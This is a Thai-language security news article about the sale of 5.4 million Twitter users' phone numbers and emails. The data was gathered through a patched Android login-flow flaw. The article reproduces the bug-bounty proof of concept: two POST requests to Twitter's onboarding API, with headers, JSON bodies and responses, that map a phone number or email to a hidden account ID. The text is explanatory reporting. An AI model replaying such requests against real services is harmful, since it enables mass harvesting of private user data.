แฮ็กเกอร์ประกาศขายข้อมูลบัญชีผู้ใช้ Twitter กว่า 5.4 ล้านคนบน Darkweb

Twitter เจอกับปัญหาข้อมูลรั่วไหล หลังจากที่มีผู้โจมตีประกาศขายข้อมูลที่มีหมายเลขโทรศัพท์ และที่อยู่อีเมลของผู้ใช้งานกว่า 5.4 ล้านบัญชี โดยข้อมูลนี้ได้ถูกประกาศขายลงใน Darkweb ในราคา 30,000 ดอลลาร์สหรัฐ

เมื่อวันที่ 21 กรกฎาคม ที่ผ่านมามีผู้ใช้งาน Darkweb ชื่อว่า “Devil” ได้ประกาศในฟอรั่มของตัวเองว่าฐานข้อมูลที่ขโมยมาได้นั้นมีข้อมูลเกี่ยวกับบัญชีต่าง ๆ รวมถึงคนดัง บริษัทต่าง ๆ และผู้ใช้รายอื่น ๆ แบบสุ่ม

BleepingComputer สอบถามไปยังแฮ็กเกอร์ผู้ประกาศขายข้อมูลได้ระบุว่าพวกเขาใช้ช่องโหว่ในการรวบรวมข้อมูลมาตั้งแต่เดือนธันวาคม 2564 และตอนนี้ข้อมูลที่พวกเขาเสนอขายในราคา 30,000 ดอลลาร์สหรัฐ ก็มีผู้ที่สนใจติดต่อมาแล้ว

ช่องโหว่นี้ได้ถูกพบโดยผู้ใช้ HackerOne ที่มีชื่อว่า “zhirinovskiy” และได้ส่งรายงานช่องโหว่ให้กับทาง Twitter ตั้งแต่เมื่อวันที่ 1 มกราคม ที่ผ่านมา และหลังจากที่มีการโพสน์รายงานช่องโหว่หลังจากนั้น 5 วัน ทาง Twitter ได้มีการแก้ไขช่องโหว่ดังกล่าวแล้ว และได้ให้รางวัล Bugbounty กับ zhirinovskiy เป็นเงิน 5,040$

ลักษณะการโจมตี

ในส่วนของวิธีการโจมตีนั้น ได้มีการใช้ช่องโหว่ที่ผู้โจมตีสามารถค้นหาบัญชีผู้ใช้ Twitter ได้จากหมายเลขโทรศัพท์ หรืออีเมล ถึงแม้ว่าผู้ใช้จะปิดฟังก์ชั่นนี้ในตัวเลือกความเป็นส่วนตัว (Privacy option) แล้วก็ตาม โดยช่องโหว่นี้เกิดขึ้นเฉพาะกับ Android client ของ Twitter

ซึ่งทาง zhirinovskiy ก็ได้บอกถึงขั้นตอน และวิธีการโจมตีโดยทำการทดสอบให้ดูดังนี้

ก่อนที่จะเริ่มทำการทดลองให้ทำการ Disable discoverability ในการตั้งค่าบัญชี Twitter ก่อน

1. ในขั้นตอนแรกจะทำการสร้าง LoginFlow โดยส่งคำขอ POST ไปที่ hxxps://api.twitter[.]com/1.1/onboarding/task.json?flow_name=login ในส่วนของ Header ใช้ค่าเดิมในทุกๆ request

User-Agent: ████ (████)
Accept-Encoding: gzip, deflate
Authorization: Bearer ███████
X-Guest-Token: █████ #ค่านี้จะเปลี่ยนแปลงแบบไดนามิค และต้องสร้างขึ้นเป็นครั้ง ๆ ไป
Accept: application/json
X-Twitter-Client: TwitterAndroid
System-User-Agent: ██████
Content-Encoding: application/json
Content-Type: application/json
Accept-Language: en-US

Body:
{"flow_token":null,"input_flow_data":{"country_code":null,"flow_context":{"start_location":{"location":"deeplink"}},"requested_variant":null,"target_user_id":0}}

Response:
{"flow_token":"██████","status":"success","subtasks":[{"subtask_id":"LoginEnterUserIdentifier","enter_text":{"primary_text":{"text":"To get started, first enter your phone, email, or @username","entities":[]},"hint_text":"Phone, email, or username","multiline":false,"auto_capitalization_type":"none","auto_correction_enabled":false,
"os_content_type":"username","keyboard_type":"text","next_link":{"link_type":"task","link_id":"next_link","label":"Next"},"skip_link":{"link_type":"subtask","link_id":"forget_password","label":"Forgot password?","subtask_id":"RedirectToPasswordReset"}},"subtask_back_navigation":"cancel_flow"},{"subtask_id":"RedirectToPasswordReset","open_link":{"link":{"link_type":"deep_link_and_abort","link_id":"password_reset_deep_link","url":"twitter://onboarding/task?flow_name=password_reset&input_flow_data=%7B%22requested_variant%22%3A%███%22%7D"}}}]}

จะเห็นว่าหลังจากเสร็จขั้นตอนนี้ จะได้รับ Flow Token ตามที่ Highlight แรก ซึ่งจะนำไปใช้ในการส่ง Request ครั้งต่อไป

2. ส่งคำขอ POST ไปที่ hxxps://api.twitter[.]com/1.1/onboarding/task.json ด้วย Header เดียวกัน และ Flow Token ที่ได้รับจากการตอบกลับก่อนหน้านี้

Body:
{"flow_token":"██████","subtask_inputs":[{"enter_text": {"suggestion_id":null, "text": "█████████", "link": "next_link"},"subtask_id": "LoginEnterUserIdentifier"}]}

Response:
{"flow_token":"████","status":"success","subtasks":[{"subtask_id":"AccountDuplicationCheck","check_logged_in_account":{"true_link":{"link_type":"task","link_id":"AccountDuplicationCheck_true"},"false_link":{"link_type":"task","link_id":"AccountDuplicationCheck_false"},"user_id":"███"}}]}
อย่างที่เห็นเราจะได้รับ User_id (Highlight ที่สอง) ซึ่งสามารถใช้เพื่อรับข้อมูลทั้งหมดของบัญชี Twitter ถึงแม้ว่าจะมีการ Disable discoverability ในการตั้งค่าบัญชี Twitter ในขั้นตอนก่อนจะทำการทดสอบไปแล้ว

คำแนะนำ

  • ฺทำการเปลี่ยนรหัสผ่านบัญชีผู้ใช้งานบน Twitter
  • ให้ระวังอีเมล Phishing ที่จะหลอกให้ป้อนข้อมูล login credentials เพื่อเข้าสู่ระบบ

ที่มา: bleepingcomputer